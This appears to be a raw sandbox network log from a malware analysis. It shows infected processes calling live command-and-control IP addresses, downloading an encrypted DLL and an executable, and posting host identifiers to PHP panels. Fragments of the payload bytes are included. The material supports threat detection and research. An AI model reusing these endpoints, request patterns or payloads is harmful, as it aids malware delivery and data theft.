Dec 9, 2024 15:30:41.136732101 CET	1236	IN	Data Raw: a8 b5 47 15 fe b3 68 13 f6 fd 94 3e a4 ec 23 c7 4d 92 d2 e2 2e 7e e4 55 c6 86 d3 71 55 09 c0 75 ee 4e 79 8b ec a7 c0 6e e6 de 9f bb 54 be b3 be e7 ea 6b 9f d3 ea fc 19 03 c0 aa a6 2e a4 48 a1 33 20 64 a7 f6 51 17 be ab c6 6b 19 97 51 df dd a9 d3 Data Ascii: Gh>#M.~UqUuNynTk.H3 dQkQ((x@]d>7J/5!onAf34B}~7,%`Ihx#80>3r}iNY]AJ(u^Ga\&2<SA"\|'&AKS`qA

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	49950	80.82.65.70	80	7636	C:\Users\user\AppData\Local\Temp\1013443001\eb02f9ad86.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 15:30:45.508512974 CET	412	OUT	GET /add?substr=mixtwo&s=three&sub=emp HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: 1 Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
Dec 9, 2024 15:30:46.874813080 CET	204	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 14:30:46 GMT Server: Apache/2.4.58 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Dec 9, 2024 15:30:46.882877111 CET	386	OUT	GET /dll/key HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: 1 Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
Dec 9, 2024 15:30:47.362440109 CET	224	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 14:30:47 GMT Server: Apache/2.4.58 (Ubuntu) Content-Length: 21 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 39 74 4b 69 4b 33 62 73 59 6d 34 66 4d 75 4b 34 37 50 6b 33 73 Data Ascii: 9tKiK3bsYm4fMuK47Pk3s
Dec 9, 2024 15:30:47.445540905 CET	391	OUT	GET /dll/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: 1 Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
Dec 9, 2024 15:30:48.004100084 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 14:30:47 GMT Server: Apache/2.4.58 (Ubuntu) Content-Disposition: attachment; filename="fuckingdllENCR.dll"; Content-Length: 97296 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: application/octet-stream Data Raw: 58 4d 20 a9 34 49 68 99 fe 5d 0a b3 eb 74 b6 26 d0 73 db 11 cf 76 c9 30 7b 06 76 1e 76 73 27 c0 ad eb 3a aa 6c ec 68 b4 13 95 65 19 c0 04 a4 9f 52 d6 da b1 8e f9 31 83 b8 06 72 fc 52 2b 46 6b 2a f7 94 87 96 7e f9 73 f3 a2 8e 06 fa 0b c3 51 a1 b1 0b 1e e4 72 c9 54 ac 62 d5 ed 06 c7 96 dd b1 7e 63 b2 8d 5b 1d 87 0b cf 81 a3 a5 ba ba 3b a3 fc ff 6a ac 40 e8 30 b2 25 84 88 f9 dd 19 78 dd e8 c7 76 cb 77 fb f0 2e a7 1d 3c 72 75 0a 1c 17 d3 59 72 65 3b f4 62 36 1d 14 b2 48 51 2d d4 ec ba cd 38 bf 42 b3 9b 51 82 61 a1 c0 c6 52 bc 3a cc 68 26 72 90 a0 a6 17 be fc 07 3d a2 3b 72 1e 6b e2 0b 54 e2 40 e0 ea b9 d0 e1 6c 8b cf 3b 23 fd 94 33 21 e6 4f b4 00 78 da 7d a1 13 e8 b9 03 f4 00 bb ce 79 27 3c 0a 47 66 51 90 4b af 23 d8 4c 35 76 10 1e 5d d4 b3 01 f6 db 8a 1e 18 de 64 f3 a6 e9 b9 b8 cb fe 4e 7b 65 a0 c7 bc 40 05 fa f3 1e a1 c2 e7 7f 08 cd ec 7f e9 a4 1b b2 f5 41 5c 8e 11 3c bc 74 f3 75 ed 58 15 4f ef 6e c5 e9 5a 89 8e 20 86 58 62 b1 4f 3c 84 2a 5a a5 a4 cf 68 7e 9b 28 b1 57 99 66 af 7a 0d 56 cb 34 09 db 4c [TRUNCATED] Data Ascii: XM 4Ih]t&sv0{vvs':lheR1rR+Fk~sQrTb~c[;j@0%xvw.<ruYre;b6HQ-8BQaR:h&r=;rkT@l;#3!Ox}y'<GfQK#L5v]dN{e@A\<tuXOnZ XbO<Zh~(WfzV4L%50H`syB(IL5s:aS}XM9Jo)'M;n6]Wn)L_e>[RA.'6N.g6IY%h 3r^\b~y/h2ZLku}V<fbD<!_2zoIEPOuPw#6N&lR}GILYNyzjHy'_5Pd9y+6q)GcL#5\M5U])U(~HmYG1r4BhP]iM%)q.]~\|jbK!N7R}T2bsq1L^!\|qD'sLnD@bn%0=bQ1+lQXO\|NC.d{08F<Wy{oj3n4eS] KoBH~sh1m86{lsRq~w_;X*#U
Dec 9, 2024 15:30:48.004313946 CET	224	IN	Data Raw: 98 ce 36 6e 99 4f 44 62 54 a0 2b 5a 63 96 17 1c 8e 71 d6 10 c5 90 ce 53 f1 24 2d 53 60 59 54 cc 01 e7 c4 70 93 60 32 41 18 ce 0d 55 c7 24 07 69 64 06 3a b3 b0 e0 76 6e 84 3b d8 aa e7 9e f0 d5 ee 45 9c b1 50 a7 0a df 3f 11 c8 6e 7d 41 c9 76 d2 0f Data Ascii: 6nODbT+ZcqS$-S`YTp`2AU$id:vn;EP?n}AvLwU\|}"Gi9ZIxw.sY-KnP2oWci#2kgDZ6~,o9"opx(ucc
Dec 9, 2024 15:30:48.004326105 CET	1236	IN	Data Raw: f9 ad 67 76 17 ac ab 0b db 40 d6 4d bb cd 29 6e a5 f1 4c c0 34 97 4f a7 0e ef fc 69 77 78 64 69 c1 97 d8 e5 76 6d 29 51 42 65 a8 c4 f5 a2 34 c7 ba 35 61 41 aa 57 a4 b7 cf 8b 03 c3 a3 26 de 8a 41 ec 05 e5 7f c7 58 21 a7 f2 0c 7b c0 5b 44 1a 6d 43 Data Ascii: gv@M)nL4Oiwxdivm)QBe45aAW&AX!{[DmC(^_iPUrl9L"?2Z,+V:R&!HJqa&uv5"+o%P4@.vgAY#i?_$J8sQ^I#sn`G}HC
Dec 9, 2024 15:30:48.005055904 CET	1236	IN	Data Raw: b8 96 c1 6b 69 27 5c ee c7 f9 89 a8 9e 4c 34 d5 75 9d fe 61 ca 18 4d 6f 0d 99 bc 16 23 4a 4b fb 31 9f 78 59 bb 31 c6 42 c1 b8 db d8 d2 09 84 0e 37 cd 9f 81 56 19 9f 47 ef 83 60 3c 07 f7 1b 6f 60 ce ba f3 16 fe 3c 27 3e b4 51 bc dc c3 26 bf 0f df Data Ascii: ki'\L4uaMo#JK1xY1B7VG`<o`<'>Q&Md42R32zD4:6vaG3~}safF4d\|a.V6.qz$C'^Y'=C]YA'6mo@{# }YniEVoD"8*k;
Dec 9, 2024 15:30:48.005069971 CET	448	IN	Data Raw: 9b 84 b6 11 05 74 f4 6a 29 ea 95 12 3e 4e c6 5d 07 8a 8c 6e 0a 29 df c0 d0 dc 61 4a f2 87 c7 57 b7 17 8a ec 0d 94 4d 28 cc 70 af e6 39 a5 16 63 ea 3d 97 af a2 e0 b5 f0 4d db 26 a7 ce 90 e4 a4 5d c2 5d 0e 75 5a 74 b9 53 4e 57 3f b4 a7 76 c9 b2 72 Data Ascii: tj)>N]n)aJWM(p9c=M&]]uZtSNW?vr>o+X<T<RvNdl:b=l{bK)06(]LiR(:'hbJ5}V78t4L7xqmFJ-rBCk1^u^Xe@bZ@%
Dec 9, 2024 15:30:48.006192923 CET	1236	IN	Data Raw: 5a 4e 90 47 87 8d 31 4d 04 f3 b2 8f b5 ec 0b 34 86 f5 8a 59 cc e1 31 db ef 09 6f 5f de 50 ce 55 7c bf 37 d2 26 b8 77 5e 1f 27 ab 58 1f ee ce 9b bf 8d 85 b2 80 b7 5a 06 25 9d b3 27 1c c8 e3 6c 36 e5 a3 7d 22 17 b3 13 00 d6 07 77 28 09 24 fc 89 30 Data Ascii: ZNG1M4Y1o_PU\|7&w^'XZ%'l6}"w($0_g8^T1bf4n\vl)OCoKaC#/\|fZyhc7LY=T(b8be@yo~YN_ozIe_*%BH1uObUR\|aXyt
Dec 9, 2024 15:30:48.006206989 CET	1236	IN	Data Raw: c0 da 67 42 4f 24 35 da 00 c2 9f 29 69 11 0c 49 94 a6 a7 92 c3 e7 14 45 de 79 b3 d8 e2 24 85 e6 7e c2 2a ec 32 fa 5b b8 db e4 ea 7c 97 4e cb e1 cc b0 1d f4 fb a3 05 75 fa 46 d0 b4 ab dc eb 81 ad f1 f2 0d 38 68 4a c0 b6 50 cd d7 bc 1f fb 5d 2b cf Data Ascii: gBO$5)iIEy$~*2[\|NuF8hJP]+P\|;3a__JnSgph=jkKOT3e13USC'{XJdey_ p[P<M%5:,rFTgYIR)"<N3ei-IQvtB
Dec 9, 2024 15:30:48.006232977 CET	448	IN	Data Raw: ed f5 bb 67 1c b0 2e 96 1b 41 e2 4b e0 d0 c0 32 d7 54 d0 57 51 be 23 33 85 40 1d 3e 06 84 94 eb 5a 77 62 51 fd 8a 8b fe 9b 5e 14 3c 3b b6 5d 0d 8f 18 29 53 7a e3 4a 54 9e 1e 8f c8 d7 2e 61 9b 87 bb e4 ef bd c8 ac 33 94 fa df 50 e0 e1 f7 4e ef 39 Data Ascii: g.AK2TWQ#3@>ZwbQ^<;])SzJT.a3PN9Yn(X"h!rrn~O+;}?jjo-?1RXUC\|B\n2/}=.H,/Ta@IEh8\|[cbNVNzcY".n$GA
Dec 9, 2024 15:30:48.007103920 CET	1236	IN	Data Raw: 8f 1d 0d be 27 ff ec 94 42 a9 9b 73 5a fd 79 db d2 b8 d5 e1 a1 03 e3 15 15 03 66 f7 ce 80 5c 3b 1e a1 07 3e 21 eb af c4 a1 bf 5e 61 d2 6f d8 d5 5a 17 35 09 48 2c d6 85 83 d0 04 63 f5 86 ce a6 bc c0 9e 98 c6 04 c0 ab 77 00 9a eb 84 f7 63 b7 4f 02 Data Ascii: 'BsZyf\;>!^aoZ5H,cwcOVm&pNVkeZjcZK+y@qE6a_]p{@v8/\|ZGTU)R_}H)8c'ATd10?lg;&j
Dec 9, 2024 15:30:48.007121086 CET	1236	IN	Data Raw: f5 e3 4e 22 e2 e4 6c f0 55 0b 97 5e ac 99 ce d9 2d 9d c7 be 15 93 aa 0c 29 0c 1d b2 f3 dd fc e4 8b 63 d6 98 31 d1 b7 49 a6 71 e5 b2 d3 e8 5e e8 9e 75 46 fe 01 39 b7 33 37 2e e3 ef 91 41 d9 99 68 ea 7f 7d cf ce 41 81 6e 70 c3 0d 68 96 71 2a a3 c4 Data Ascii: N"lU^-)c1Iq^uF937.Ah}AnphqlT>\|kg#q)!.dpdL^_i]Tkf^=KqnBf'Jk+&Y&rTb_Ed(iiwM3mo.m4moNm
Dec 9, 2024 15:30:48.014344931 CET	1236	IN	Data Raw: 24 08 81 00 b0 29 53 4c 0d 27 e1 33 7b 84 04 88 79 b5 d5 43 40 8f 58 a2 99 64 09 e2 8c ee 13 54 41 69 50 44 94 4f 46 7e cb 26 60 1a 9f 1e 9b 9f 4d b1 bb 5c 69 8a 93 4a 09 ae 85 9c 0e d0 94 99 87 53 0e b2 b3 ca da 67 15 92 5c 33 3f 11 b8 6f 4e 63 Data Ascii: $)SL'3{yC@XdTAiPDOF~&`M\iJSg\3?oNc8Hbnm0CWF5/lUo~x,3A[R!]0^{$=Pt8{5D@z)JRC<k 5Jhg8'a<dIC2ui$wtHLnc}QJ4;[r\|^
Dec 9, 2024 15:30:48.501523972 CET	393	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
Dec 9, 2024 15:30:49.056394100 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 14:30:48 GMT Server: Apache/2.4.58 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Dec 9, 2024 15:30:51.094777107 CET	393	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
Dec 9, 2024 15:30:51.578725100 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 14:30:51 GMT Server: Apache/2.4.58 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Dec 9, 2024 15:30:53.626034975 CET	393	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
Dec 9, 2024 15:30:54.119174004 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 14:30:53 GMT Server: Apache/2.4.58 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Dec 9, 2024 15:30:56.172826052 CET	393	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
Dec 9, 2024 15:30:56.664246082 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 14:30:56 GMT Server: Apache/2.4.58 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=94 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Dec 9, 2024 15:30:58.703866959 CET	393	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
Dec 9, 2024 15:30:59.189491987 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 14:30:58 GMT Server: Apache/2.4.58 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=93 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	49954	185.215.113.43	80	3788	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 15:30:46.591698885 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 33 34 34 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1013444001&unit=246122658369
Dec 9, 2024 15:30:47.954499006 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 09 Dec 2024 14:30:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.5	49958	185.215.113.16	80	3788	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 15:30:48.110174894 CET	56	OUT	GET /steam/random.exe HTTP/1.1 Host: 185.215.113.16
Dec 9, 2024 15:30:49.433587074 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 09 Dec 2024 14:30:48 GMT Content-Type: application/octet-stream Content-Length: 1818112 Last-Modified: Mon, 09 Dec 2024 13:45:20 GMT Connection: keep-alive ETag: "6756f470-1bbe00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 20 8b b6 d4 64 ea d8 87 64 ea d8 87 64 ea d8 87 0b 9c 73 87 7c ea d8 87 0b 9c 46 87 69 ea d8 87 0b 9c 72 87 5e ea d8 87 6d 92 5b 87 67 ea d8 87 6d 92 4b 87 62 ea d8 87 e4 93 d9 86 67 ea d8 87 64 ea d9 87 09 ea d8 87 0b 9c 77 87 77 ea d8 87 0b 9c 45 87 65 ea d8 87 52 69 63 68 64 ea d8 87 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 19 64 54 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 28 01 00 00 00 00 00 00 60 69 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 90 69 00 00 04 00 00 4a 15 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$ ddds\|Fir^m[gmKbgdwwEeRichdPELdTg(`i@iJ@M$a$$ $h@.rsrc$x@.idata $z@ p*$\|@zmdmrpym 0O~@skpffbqxPi@.taggant0`i"@
Dec 9, 2024 15:30:49.433932066 CET	124	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 9, 2024 15:30:49.433964968 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 9, 2024 15:30:49.528373003 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 9, 2024 15:30:49.552953959 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 9, 2024 15:30:49.553447008 CET	1236	IN	Data Raw: bf 94 ed 4e 67 e4 f5 52 8f dc e7 b7 9b da 07 5a 9f 08 6f 6e cb f8 7c b6 d1 dd 44 8f ca 3d 29 93 80 61 89 b2 e3 a9 8c 68 07 11 a4 cb 4f 15 5a ef bf 24 c0 f3 ce 2a 59 2c ce e7 26 f7 8a 12 42 ab e0 20 2f 2e d9 69 78 fa a6 4c a4 69 c7 3a 21 43 64 83 Data Ascii: NgRZon\|D=)ahOZ$*Y,&B /.ixLi:!Cd\.7cPY1DU,0).rSoaOAX9LK^SS` "PQ?gENO4rt3k$z\|Q>AH.r\ndRVAlTf7)BV%3:X=om^X!w#
Dec 9, 2024 15:30:49.553461075 CET	1236	IN	Data Raw: b6 b5 28 db e6 9d 0b 2b 4d 2c ed b3 2b a8 d9 6d 29 f1 91 59 b9 68 78 38 fc a8 5a 8d b1 5e e6 86 5d f8 4d 81 41 b5 c4 56 e8 52 05 56 71 dc 91 7c 27 26 9a 36 7f 3c fc b0 9a ab 70 50 96 66 66 1a ad 3f 71 78 83 2b 66 ce b4 2e 84 f9 67 61 a3 ce b4 f1 Data Ascii: (+M,+m)Yhx8Z^]MAVRVq\|'&6<pPff?qx+f.ga}Q)$7,?)EV#uSdr6R5xg"ascK\|ZS@n0i6+A_,N:6IRHretB7%Pr[>!
Dec 9, 2024 15:30:49.620995045 CET	1236	IN	Data Raw: 60 de 62 50 4b b6 4c 74 c3 09 fd 48 02 b1 40 c7 52 89 37 d3 b8 92 29 27 cc c3 48 ba 28 b9 28 73 68 b5 0b 41 f3 2d 32 19 64 ed e9 4f e8 b7 50 37 6b 25 63 03 ac f9 60 51 93 b2 ec 70 b5 5f 3d 51 55 2b 79 48 57 11 ab c3 a2 b5 c5 5e 6f a7 ec b0 5d 31 Data Ascii: `bPKLtH@R7)'H((shA-2dOP7k%c`Qp_=QU+yHW^o]1)WC(EWIC[Yei3g@.J\|]'<nCUcH;,;Bdy!EB_&,&lwSw=g>UQM4ov-mtNq]g'\|Pim5_-@MC,i
Dec 9, 2024 15:30:49.621011972 CET	1236	IN	Data Raw: 8c 66 34 bb f8 41 c2 45 fb a9 fc 73 d1 50 a5 d0 ab 69 63 45 27 b1 80 bb d0 3a 2a 5f 87 99 c1 45 4b cf ab dc 4f f9 a3 f1 57 cf 45 4b 4f b7 4c 71 b4 b4 fb 15 dc c9 39 50 83 b5 dc 74 68 f5 40 11 98 f1 36 8f cb e3 98 52 85 b1 90 b7 c7 e3 38 b9 6b c9 Data Ascii: f4AEsPicE':_EKOWEKOLq9Pth@6R8kD917?+[LP2+ZRWbYQ-%[ISO8P(XOE\|sB[]Px[hIY7dZ(<a?71\gtPi[e-tEo\-DIWC3Y@X
Dec 9, 2024 15:30:49.621685028 CET	1236	IN	Data Raw: 6c 17 93 b6 4a e3 89 33 60 dd 42 63 cb 12 7e 55 73 e3 60 50 8b a9 e0 b9 d7 e8 b4 53 6f e9 36 71 a3 c9 94 a0 89 d2 48 5d 10 22 37 cf 4f d1 64 bd 62 25 69 42 97 e1 31 03 1c f0 75 91 5c 89 26 b3 5d d4 a4 7f 79 28 5f 54 33 a6 8e 1e 51 2b 4b 40 a7 df Data Ascii: lJ3`Bc~Us`PSo6qH]"7Odb%iB1u\&]y(_T3Q+K@H`dwEB7OaQ`m!78wR]e)#8AmgBWwcFi_QC)9HD3`!wMCsE1h`])C.)EXkDq)E)QcE4p)8@+3tXA?vS8
Dec 9, 2024 15:30:49.624686956 CET	1236	IN	Data Raw: 4c c2 02 7d 67 b7 15 72 a2 c5 43 99 77 e1 02 46 6f e5 6e af e8 e3 2e 87 e4 fd 64 7d ab 41 37 47 d0 2a 19 f2 ac 44 35 9b 60 c2 98 43 e3 d0 58 0e 9b 28 49 b3 5d e3 cc 57 fb 12 91 f8 f3 99 63 7d 87 b7 10 b4 89 54 65 b6 95 25 a2 45 9f e3 62 cc d8 b7 Data Ascii: L}grCwFon.d}A7G*D5`CX(I]Wc}Te%Eb8C%CCxocRew9sQoa=M:sBcmDz)EkUEWE97-7?%{wJr+!>;dcQwFw6Z,4!gC@tg%jb8rdoq2=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.5	49973	185.215.113.43	80	3788	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 15:30:55.210079908 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 33 34 34 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1013445001&unit=246122658369
Dec 9, 2024 15:30:56.571695089 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 09 Dec 2024 14:30:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.5	49978	185.215.113.206	80	3924	C:\Users\user\AppData\Local\Temp\1013445001\8b4f365c71.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 15:30:56.023885965 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Dec 9, 2024 15:30:57.376883984 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 14:30:57 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 9, 2024 15:30:57.860302925 CET	412	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KEGCBFCBFBKFHIECAFCF Host: 185.215.113.206 Content-Length: 210 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 45 47 43 42 46 43 42 46 42 4b 46 48 49 45 43 41 46 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 35 30 37 35 30 44 45 35 45 33 39 37 38 36 32 35 34 35 31 33 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 47 43 42 46 43 42 46 42 4b 46 48 49 45 43 41 46 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 47 43 42 46 43 42 46 42 4b 46 48 49 45 43 41 46 43 46 2d 2d 0d 0a Data Ascii: ------KEGCBFCBFBKFHIECAFCFContent-Disposition: form-data; name="hwid"150750DE5E39786254513------KEGCBFCBFBKFHIECAFCFContent-Disposition: form-data; name="build"stok------KEGCBFCBFBKFHIECAFCF--
Dec 9, 2024 15:30:58.309371948 CET	210	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 14:30:58 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.5	49979	185.215.113.16	80	3788	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
